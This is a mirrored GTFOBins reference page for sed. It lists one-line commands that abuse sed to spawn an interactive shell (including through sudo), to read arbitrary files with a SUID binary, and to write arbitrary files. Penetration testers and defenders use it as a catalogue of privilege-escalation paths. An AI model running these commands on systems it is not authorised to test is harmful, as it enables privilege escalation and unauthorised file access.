1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/sed.md
2018-06-13 12:01:25 +02:00

472 B

functions
execute-interactive sudo-enabled suid-enabled file-read file-write
code
sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
code
sudo sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'"
code
LFILE=file_to_read ./sed -e '' "$LFILE"
code
LFILE=file_to_read sed -e '' "$LFILE"
code
LFILE=file_to_write echo x | sed "s/x/data/;w $LFILE"